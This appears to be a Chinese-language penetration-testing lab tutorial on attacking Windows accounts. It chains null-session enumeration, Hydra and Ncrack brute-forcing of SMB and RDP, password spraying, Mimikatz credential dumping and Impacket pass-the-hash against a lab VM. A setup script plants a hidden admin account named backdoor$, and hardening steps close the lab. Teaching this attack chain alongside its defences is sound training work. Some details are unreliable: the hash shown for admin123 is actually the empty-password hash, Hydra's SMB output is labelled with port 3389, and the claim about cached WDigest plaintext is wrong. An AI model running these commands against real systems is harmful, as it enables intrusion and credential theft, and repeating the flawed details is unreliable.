Skip to content

实验二:用户账户暴力破解与凭据提取渗透

实验二:用户账户暴力破解与凭据提取渗透

Section titled “实验二:用户账户暴力破解与凭据提取渗透”

Windows系统中,用户密码永远不会以明文形式存储在磁盘上(现代系统),而是以哈希值的形式存储在SAM数据库(Security Account Manager)中:

用户输入密码: "P@ssw0rd123"
哈希算法处理
存储在SAM中: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
│ │
│ └── NTLM Hash(MD4)
└── LM Hash(已废弃,现代系统为空)

LM Hash vs NTLM Hash 对比

特性LM HashNTLM Hash
算法DES(两段独立加密)MD4(整体加密)
密码处理转为大写,截断14字符保留大小写,支持长密码
安全性极低(可秒级彩虹表破解)中等(仍可离线破解)
状态Vista/2008后默认禁用仍在广泛使用
盐值(Salt)

1.2 NTLM认证流程(挑战/响应机制)

Section titled “1.2 NTLM认证流程(挑战/响应机制)”
┌──────────┐ ┌──────────┐
│ 客户端 │ 1. 认证请求(用户名) │ 服务器 │
│ │ ────────────────────────────► │ │
│ │ │ │
│ │ 2. 随机挑战(16字节Nonce) │ │
│ │ ◄──────────────────────────── │ │
│ │ │ │
│ │ 3. 用NTLM Hash加密挑战 │ │
│ │ Response = NTLM(Challenge,│ │
│ │ NTLM_Hash) │ │
│ │ ────────────────────────────► │ │
│ │ │ │
│ │ 4. 服务器验证Response │ │
│ │ (用自己的NTLM Hash重复加密)│ │
│ │ 匹配 → 认证成功 ✓ │ │
└──────────┘ └──────────┘
⚠️ 关键弱点:NTLM Hash本身就在客户端内存中!
攻击者提取到Hash后,无需明文密码即可认证。
对比维度NTLMKerberos
认证方式挑战/响应(基于哈希)票据(Ticket)
双向认证✗ 不可验证服务器身份✓ 客户端和服务器互相验证
密码传输哈希参与计算,不出网完全不出网
重放攻击易受NTLM Relay票据有时效性(10小时TGT)
单点登录✓ 一次认证访问多服务
适用环境工作组域环境(默认)
Pass-the-Hash✓ 可能✗ 票据绑定用户
黄金票据✗ 不适用✓ 获取krbtgt可伪造

SAM数据库存储位置:%SystemRoot%\System32\config\SAM
SAM文件结构(需要SYSTEM权限才能访问):
┌─────────────────────────────┐
│ SAM 数据库 │
│ ┌─────────────────────────┐ │
│ │ 用户账户信息 │ │
│ │ - 用户名 │ │
│ │ - NTLM Hash │ │
│ │ - LM Hash(已废弃) │ │
│ │ - 账户属性/标志位 │ │
│ │ - RID(相对标识符) │ │
│ │ - 最后登录时间 │ │
│ └─────────────────────────┘ │
└─────────────────────────────┘
导出方式:
- 离线:复制SAM文件 + SYSTEM文件 → 用Impacket secretsdump解析
- 在线:Mimikatz直接读取LSASS内存
- 远程:Impacket secretsdump(需要域管权限)

2.2 LSASS进程——Windows凭据的”活存储”

Section titled “2.2 LSASS进程——Windows凭据的”活存储””
用户登录Windows后:
┌─────────────┐ 认证成功 ┌─────────────────┐
│ 用户登录 │ ────────────────► │ LSASS 进程 │
│ 输入密码 │ │ (lsass.exe) │
└─────────────┘ │ │
│ 缓存内容: │
│ ✓ NTLM Hash │
│ ✓ Kerberos TGT │
│ ✓ Kerberos票据 │
│ ✓ 明文密码* │
│ ✓ 凭据管理器 │
└────────┬────────┘
┌─────────────────┐│
│ Mimikatz 攻击 ││
│ privilege::debug││
│ 调试API读取内存 │─┘
└─────────────────┘
* 明文密码缓存在注册表 HKLM\SECURITY\Cache 中,
通过WDigest协议存储(Win10 1607前默认启用)

防御Mimikatz的三层防护

防御措施原理配置方法
LSA保护(RunAsPPL)LSASS以受保护进程运行,禁止调试API读取reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1
Credential Guard使用虚拟化安全(VBS)隔离凭据需硬件支持TPM 2.0 + Secure Boot + UEFI
Protected Users组限制凭据缓存行为将用户加入该安全组

Windows中用户名以 $ 结尾时,该账户有以下特性:

普通账户: net user → 显示在列表中 → 显示在登录界面
隐藏账户: net user backdoor$ → 不显示在net user中 → 不显示在登录界面
但隐藏账户:
✓ 仍然存在于注册表 SAM 中
✓ 仍然可以使用 \\server\share$ 访问共享
✓ 仍然可以登录(输入用户名 backdoor$)
✓ 可以被 wmic / Get-LocalUser / 直接查询SAM注册表 发现
检测方法对比:
┌──────────────────┬──────────────┬──────────────┐
│ 检测方法 │ 能发现$账户? │ 命令示例 │
├──────────────────┼──────────────┼──────────────┤
│ net user │ ✗ 看不到 │ net user │
│ 登录界面 │ ✗ 看不到 │ Ctrl+Alt+Del │
│ wmic │ ✓ 可以 │ wmic useraccount │
│ Get-LocalUser │ ✓ 可以 │ Get-LocalUser │
│ 注册表SAM键 │ ✓ 可以 │ reg query HKLM\SAM\... │
└──────────────────┴──────────────┴──────────────┘

本实验将前置知识点中的四个核心概念串联为一条完整的攻击链,每个阶段都建立在前一个阶段获得的信息之上:

┌─────────────────┐ 用户名列表 ┌──────────────────┐ 有效凭据 ┌──────────────────┐
│ 阶段一 │ ─────────────► │ 阶段二 │ ─────────────► │ 阶段三 │
│ SMB空会话枚举 │ │ 弱口令暴力破解 │ │ Mimikatz凭据提取 │
│ (§1.1 SAM用户) │ │ (§1.3 无锁定策略)│ │ (§2.2 LSASS内存) │
└─────────────────┘ └──────────────────┘ └────────┬─────────┘
│ NTLM Hash
┌──────────────────┐ 加固对抗 ┌──────────────────┐
│ 阶段五 │ ◄───────────── │ 阶段四 │
│ 密码策略+LSA加固 │ │ 隐藏账户检测 │
│ (§2.2 防御三层) │ │ (§3.1 $后缀账户)│
└──────────────────┘ └──────────────────┘
┌─────────────────────┐ NAT模式 ┌─────────────────────┐
│ Kali Linux │ 192.168.1.0/24 │ Windows Server │
│ 2025.4(攻击机) │◄──────────────────────────────────► │ 2025(靶机) │
│ IP: 192.168.1.10 │ │ IP: 192.168.1.20 │
└─────────────────────┘ └─────────────────────┘

虚拟机设置

项目配置
操作系统Windows Server 2025 Standard(桌面体验版)
内存4 GB
硬盘60 GB
网络适配器NAT模式
快照实验前创建快照(命名:实验二-初始状态)

靶机初始化脚本(管理员PowerShell执行,必须先完成下方密码策略配置):

Terminal window
# ============================================
# 靶机环境初始化脚本 - 实验二
# ============================================
# 1. 创建弱密码测试账户
net user user1 123456 /add
net user user2 password /add
net user user3 P@ssw0rd /add
net user user4 qwerty /add
net user weakadmin admin123 /add
net localgroup Administrators weakadmin /add
# 2. 创建隐藏账户(用于检测实验)
net user backdoor$ P@ssw0rd123 /add
net localgroup Administrators backdoor$ /add
# 3. 启用远程桌面
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0
# 注意:中文版Windows使用中文组名,英文版使用 "Remote Desktop"
Enable-NetFirewallRule -DisplayGroup "远程桌面"
# 4. 关闭防火墙(仅实验环境)
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
# 5. 重启使策略生效
Restart-Computer -Force

阶段一:SMB空会话枚举(获取攻击面)

Section titled “阶段一:SMB空会话枚举(获取攻击面)”

步骤1:通过空会话枚举用户列表

# 使用enum4linux枚举Windows信息
enum4linux -a 192.168.1.20
# 使用rpcclient枚举用户
rpcclient -U "" 192.168.1.20 -c "enumdomusers"
# 使用CrackMapExec进行SMB枚举
crackmapexec smb 192.168.1.20 --users
crackmapexec smb 192.168.1.20 --groups
crackmapexec smb 192.168.1.20 --shares
# 使用nbtscan获取NetBIOS信息
nbtscan 192.168.1.20

步骤2:枚举共享资源和密码策略

# 枚举共享资源
smbclient -L //192.168.1.20 -N
# 查看密码策略
crackmapexec smb 192.168.1.20 --pass-pol
# 预期输出(弱策略):
# [+] Password policy for domain:
# Password length minimum: 0
# Password history length: 0
# Maximum password age: not set
# Minimum password age: not set
# Account lockout threshold: None

阶段二:密码暴力破解(将用户名转化为凭据)

Section titled “阶段二:密码暴力破解(将用户名转化为凭据)”

步骤3:使用Hydra进行SMB暴力破解

# 准备用户名和密码字典
# 用户名字典
echo -e "user1\nuser2\nuser3\nuser4\nweakadmin\nadministrator" > /tmp/users.txt
# 密码字典
echo -e "123456\npassword\nadmin\nadmin123\nP@ssw0rd\n123456789\nqwerty\nletmein\nwelcome\nmonkey" > /tmp/passwords.txt
# 使用Hydra进行SMB暴力破解
hydra -L /tmp/users.txt -P /tmp/passwords.txt smb://192.168.1.20
# 预期输出:
# [DATA] max 16 tasks per 1 server, overall 16 tasks, 60 login tries (l:6/p:10)
# [3389][smb] host: 192.168.1.20 login: user1 password: 123456
# [3389][smb] host: 192.168.1.20 login: user2 password: password
# [3389][smb] host: 192.168.1.20 login: user3 password: P@ssw0rd
# [3389][smb] host: 192.168.1.20 login: weakadmin password: admin123

步骤4:使用CrackMapExec进行SMB密码喷射

# 密码喷射:用同一个常见密码尝试所有用户
crackmapexec smb 192.168.1.20 -u users.txt -p '123456'
crackmapexec smb 192.168.1.20 -u users.txt -p 'admin123'
crackmapexec smb 192.168.1.20 -u users.txt -p 'password'
# 验证凭据是否有效
crackmapexec smb 192.168.1.20 -u user1 -p '123456' --shares
crackmapexec smb 192.168.1.20 -u weakadmin -p 'admin123' --shares

步骤5:RDP远程桌面暴力破解

# 使用Hydra进行RDP暴力破解
hydra -L /tmp/users.txt -P /tmp/passwords.txt rdp://192.168.1.20
# 使用Crowbar进行RDP爆破
crowbar -b rdp -s 192.168.1.20/32 -U /tmp/users.txt -C /tmp/passwords.txt
# 使用NCrack进行RDP爆破
ncrack -vv -U /tmp/users.txt -P /tmp/passwords.txt rdp://192.168.1.20

步骤6:破解成功后使用获取的凭据访问系统

# 使用CrackMapExec通过已获取的管理员凭据执行命令
crackmapexec smb 192.168.1.20 -u weakadmin -p 'admin123' -x "whoami"
crackmapexec smb 192.168.1.20 -u weakadmin -p 'admin123' -x "net user"
crackmapexec smb 192.168.1.20 -u weakadmin -p 'admin123' -x "ipconfig /all"
# 使用xfreerdp3远程桌面连接(Kali 2025.4)
xfreerdp3 /v:192.168.1.20 /u:weakadmin /p:admin123 /cert:tofu

阶段三:Mimikatz凭据提取(从单点突破到内存洗劫)

Section titled “阶段三:Mimikatz凭据提取(从单点突破到内存洗劫)”

步骤7:使用Mimikatz从内存中提取凭据

在Windows Server靶机上以管理员身份执行:

Terminal window
# 下载Mimikatz到靶机
# 从攻击机传输(已在靶机上以管理员权限运行)
# 假设已将mimikatz.exe放到 C:\Tools\ 目录
cd C:\Tools
mimikatz.exe
# 获取调试权限
privilege::debug
# 预期输出:Privilege '20' OK
# 从LSASS进程内存中提取登录用户凭据
sekurlsa::logonpasswords
# 输出示例(部分):
# Authentication Id : 0 ; 123456 (00000000:0001e240)
# Session : Interactive from 2
# User Name : weakadmin
# Domain : TARGET-SERVER
# Password : admin123 ← 明文密码!
# NTLM : aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# 导出本地SAM数据库中所有账户的哈希
lsadump::sam
# 导出所有已缓存的凭据
sekurlsa::credman

步骤8:Pass-the-Hash攻击演示

Terminal window
# 在Mimikatz中使用NTLM哈希直接认证(无需明文密码)
sekurlsa::pth /user:weakadmin /domain:. /ntlm:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# 从Kali攻击机使用Impacket工具进行PtH
python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 weakadmin@192.168.1.20
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 weakadmin@192.168.1.20
python3 /usr/share/doc/python3-impacket/examples/smbexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 weakadmin@192.168.1.20

阶段四:隐藏账户检测(识别持久化后门)

Section titled “阶段四:隐藏账户检测(识别持久化后门)”

步骤9:检测隐藏的$后缀账户

在靶机或Kali上执行:

Terminal window
# 方法一:net user 不显示$账户
net user
# 注意:backdoor$ 不会出现在列表中
# 方法二:使用wmic可发现隐藏账户
wmic useraccount list full | findstr backdoor
# 方法三:直接查询注册表(需SYSTEM权限)
reg query "HKLM\SAM\SAM\Domains\Account\Users\Names"
# 方法四:使用PowerShell
Get-LocalUser | Select-Object Name, Enabled, Description
# $结尾的账户也会显示
# 从Kali使用CrackMapExec检测
crackmapexec smb 192.168.1.20 -u weakadmin -p 'admin123' --users
# 会列出所有用户,包括隐藏的backdoor$

阶段五:密码策略加固与验证(构建防御闭环)

Section titled “阶段五:密码策略加固与验证(构建防御闭环)”

防御矩阵

攻击阶段利用的弱点本阶段加固措施
阶段一 枚举允许匿名 SMB关闭 SMB 匿名、限制 Null Session
阶段二 爆破无密码复杂度 / 无锁定复杂密码策略 + 账户锁定阈值=5
阶段三 提取LSASS 可被调试读取RunAsPPL + Credential Guard
阶段三 PtHNTLM Hash 可重放Protected Users 组 + 禁用 NTLM
阶段四 后门隐藏账户检测困难定期审计 wmic / Get-LocalUser

步骤10:配置强密码策略

在靶机上执行:

Terminal window
# 方法一:通过secpol.msc图形界面
# 路径:secpol.msc → 账户策略 → 密码策略
# 密码必须符合复杂性要求 → 启用
# 密码长度最小值 → 8 个字符
# 密码最长使用期限 → 90 天
# 强制密码历史 → 5 个
# 账户策略 → 账户锁定策略
# 账户锁定阈值 → 5 次
# 账户锁定时间 → 15 分钟
# 复位账户锁定计数器的时间间隔 → 15 分钟
# 方法二:通过命令行(有限制,部分需组策略)
net accounts /minpwlen:8 /maxpwage:90 /uniquepw:5 /lockoutthreshold:5 /lockoutduration:15
gpupdate /force
# 验证策略
net accounts

步骤11:启用LSA保护防御Mimikatz

Terminal window
# 启用LSA保护(RunAsPPL)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# 启用Windows Defender Credential Guard(需重启)
# 方法:gpedit.msc → 计算机配置 → 管理模板 → 系统 → Device Guard
# 开启虚拟化安全 → 启用
# 需要重启生效
Restart-Computer -Force
# 重启后验证
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL
# 应输出:RunAsPPL REG_DWORD 0x1

步骤12:验证加固效果

# 1. 验证密码策略
crackmapexec smb 192.168.1.20 --pass-pol
# 预期:密码长度最小值=8,锁定阈值=5
# 2. 验证暴力破解被限制
hydra -l user1 -P /tmp/passwords.txt smb://192.168.1.20 -t 1 -w 5
# 预期:尝试5次后账户被锁定,无法继续
# 3. 验证Mimikatz被阻止
# 在靶机上重新运行Mimikatz
privilege::debug
# 预期:可能失败,提示无法获取调试权限

四、攻击链回顾与实验报告要求

Section titled “四、攻击链回顾与实验报告要求”

将五个阶段的产物串成一条叙事:

  1. 从一个IP 地址开始 → 通过空会话枚举得到用户名列表(阶段一);
  2. 用户名列表 + 弱密码字典 → 破解得到一组本地管理员凭据(阶段二);
  3. 登录靶机后运行 Mimikatz → 得到所有在线会话的明文密码与 NTLM 哈希(阶段三);
  4. 利用管理员权限 → 发现并清点持久化隐藏账户(阶段四);
  5. 基于前四步暴露的每一个弱点 → 配置对应的加固项并回归验证(阶段五)。
序号记录项说明
1枚举结果空会话枚举到的用户列表和共享资源
2爆破结果Hydra/CrackMapExec成功破解的账户密码
3Mimikatz输出提取到的明文密码和NTLM哈希
4隐藏账户检测检测到backdoor$的方法和结果
5加固前后对比密码策略配置前后爆破效果的差异

  • 点击展开清理脚本

    Terminal window
    # 1. 删除测试账户
    net user user1 /delete
    net user user2 /delete
    net user user3 /delete
    net user user4 /delete
    net user weakadmin /delete
    net user backdoor$ /delete
    # 2. 恢复密码策略
    secpol.msc
    # 恢复为默认安全配置
    # 3. 关闭远程桌面
    Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 1
    # 4. 启用防火墙
    Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
    # 5. 删除Mimikatz等工具
    Remove-Item -Path "C:\Tools" -Recurse -Force